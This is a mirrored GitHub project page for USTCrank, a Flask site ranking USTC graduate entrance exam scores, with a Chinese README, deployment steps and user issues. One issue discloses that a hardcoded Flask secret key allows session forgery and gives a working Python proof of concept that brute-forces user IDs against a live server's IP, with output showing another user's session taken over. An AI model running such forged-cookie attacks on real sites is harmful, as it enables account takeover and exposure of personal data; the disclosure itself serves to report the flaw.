Code Monkey home page Code Monkey logo

ustcrank's Introduction

1. USTCrank

基于 python3 + Flask + BeautifulSoup, 用于统计 USTC 考研初试的成绩排名, 其他学校如有需要也可以在本系统上修改实现需求。

  1. 报考 USTC 的所有同学均可登录查分,不只限于CS相关专业,可查看本专业排名,人数越多,数据越准确

  2. 网站仅保存分数相关信息,无需担心泄露隐私

  3. 用户凭账户密码登录后方可查看排名, 防止只围观不录分

  4. 历史数据在scores文件夹下, 提供sqlite3数据库文件与html table文件

  5. master分支支持各种关系性数据库,使用 flask_sqlalchemy 作为orm (master分支的配置与部署请查看master分支的 README.md 文件); 出于性能考虑,新增加的mongo分支使用 Mongodb 作为数据库,orm为 mongoengine,推荐使用此分支;

2. 历史更新记录

  1. 2020-03-07 增加登录机制,只有查分后才能查看排名

  2. 2020-04-11 网站下线,总录分849条

  3. 2021-02-26 新增加mongo分支可使用 Mongodb 作为数据库

  4. 2021-02-27 mongo分支支持创建围观账户(可登陆查看排名,但无法修改密码), 其他功能请查看 manage.py

  • 操作:进入源码目录和虚拟环境,运行 python manage.py shell, 调用create_super_user(kaohao, password) 函数即可

  • 注意: kaohao为准考证号,必须为15位长度;password 为密码,必须为6位; 建议kaohao使用为0或接近0的字符串

  • 实例: create_super_user("000000000000000", "123456")

  1. 2021-03-28 网站下线,总录分3049条

  2. 2022-02-26 按照学院专业和考试各科目名称进行排名,而不再是只根据学院专业排名

3. 本地运行

  1. 安装 mongodb (版本>=3.4.6), 并修改 app/__init__.py 中的数据库路径 即 app.config['MONGODB_SETTINGS'] 中的内容',如使用其他数据库请搜索修改

  2. 运行 pip install -r requirements/pip.txt 安装所有依赖库, 并设置好环境变量 SECRET_KEY 为一个私密的字符串

  3. 最后运行 python manage.py run 即可

4. 服务器部署

  1. 使用 pip3 install virtualenv 安装 virtualenv , 如失败则运行 python -m pip install --upgrade pippip 升级到最新版本再尝试

  2. 进入项目文件夹, 运行 virtualenv venv 创建虚拟环境

  3. 安装依赖包 运行 source venv/bin/activate 激活虚拟环境(后续操作均在虚拟环境下进行), 再运行 pip install -r requirements/pip.txt 安装所有依赖

  4. 安装mongodb(版本>=3.4.6), 并修改 app/__init__.py 中的数据库路径 即 app.config['MONGODB_SETTINGS'] 中的内容; 设置好环境变量 SECRET_KEY 为一个私密的字符串,且以后不能改动。

  5. 使用 gunicorn 作为 web服务器, 使用 pip install gunicorn 安装 gunicorn

  6. 运行 gunicorn --workers=5 -b 0.0.0.0:80 manage:app 即可启动站点, 具体参数请百度(注,例中的默认参数性能很差,不能直接用于实际应用,请查询如何设置worker_class等参数提升性能)

5. 声明

本代码仅供学习交流,用户使用所造成的不良后果与作者无关

ustcrank's People

Contributors

csflyer avatar dependabot[bot] avatar lllbbbyyy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

ustcrank's Issues

任意用户登录漏洞

# 表单 防CSRF
app.config['SECRET_KEY'] = 'USTC'

不知道你在防什么
参见官方文档

# Set the secret key to some random bytes. Keep this really secret!
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'

利用poc:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time    : 2021/2/27 11:57
# @Author  : Dawnnnnnn
# @Contact: [email protected]
import requests
import zlib
from itsdangerous import base64_decode
import ast
from flask.sessions import SecureCookieSessionInterface

secret_key = 'USTC'


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


def session_cookie_encoder(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
        app = MockApp(secret_key)
        session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)

        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error]{}".format(e)


def session_cookie_decoder(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie  """
    try:
        if (secret_key == None):
            compressed = False
            payload = session_cookie_value

            if payload.startswith(b'.'):
                compressed = True
                payload = payload[1:]

            data = payload.split(".")[0]

            data = base64_decode(data)
            if compressed:
                data = zlib.decompress(data)

            return data
        else:
            app = MockApp(secret_key)

            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.loads(session_cookie_value)
    except Exception as e:
        return "[Decoding error]{}".format(e)


for i in range(103581210008000, 103581210015886):
    data = {'_user_id': str(i)}
    print(i)
    brute_session = (session_cookie_encoder(secret_key, f"{data}"))
    headers = {
        "Cookie": f'session={brute_session}'
    }
    res = requests.get('http://8.129.43.182/score', headers=headers, allow_redirects=False)
    if res.status_code == 200:
        print(brute_session)
        print(res.text)
        break
    else:
        print(session_cookie_decoder(res.cookies.get('session'), secret_key))

结果:

103581210008105
{'_flashes': [('message', '要访问此页面,请先登录')], '_fresh': False, '_user_id': '103581210008105'}
103581210008106
{'_flashes': [('message', '要访问此页面,请先登录')], '_fresh': False, '_user_id': '103581210008106'}
103581210008107
{'_flashes': [('message', '要访问此页面,请先登录')], '_fresh': False, '_user_id': '103581210008107'}
103581210008108
{'_flashes': [('message', '要访问此页面,请先登录')], '_fresh': False, '_user_id': '103581210008108'}
103581210008109
{'_flashes': [('message', '要访问此页面,请先登录')], '_fresh': False, '_user_id': '103581210008109'}
103581210008110
{'_flashes': [('message', '要访问此页面,请先登录')], '_fresh': False, '_user_id': '103581210008110'}
103581210008111
{'_flashes': [('message', '要访问此页面,请先登录')], '_fresh': False, '_user_id': '103581210008111'}
103581210008112
eyJfdXNlcl9pZCI6IjEwMzU4MTIxMDAwODExMiJ9.YDpJPw.NpdKnMUxImNGxkKF8WkgePUMukY
<!DOCTYPE html>
<html>
  <head>

这个准确性怎样

是不是查了分的人的数据才参与排名?所以这个排名实际上会偏高?

requests与urllib3存在依赖问题

操作系统:centos8
python版本:3.10.3
pip版本:23.0.1
错误信息:

ERROR: Cannot install -r pip.txt (line 31) and urllib3==1.26.5 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested urllib3==1.26.5
    requests 2.23.0 depends on urllib3!=1.25.0, !=1.25.1, <1.26 and >=1.21.1

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts

不过在windows上安装没有出现依赖问题
我在部署时是将requirements的版本要求给删除了,不知道这个是我的环境问题还是依赖确实存在问题

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.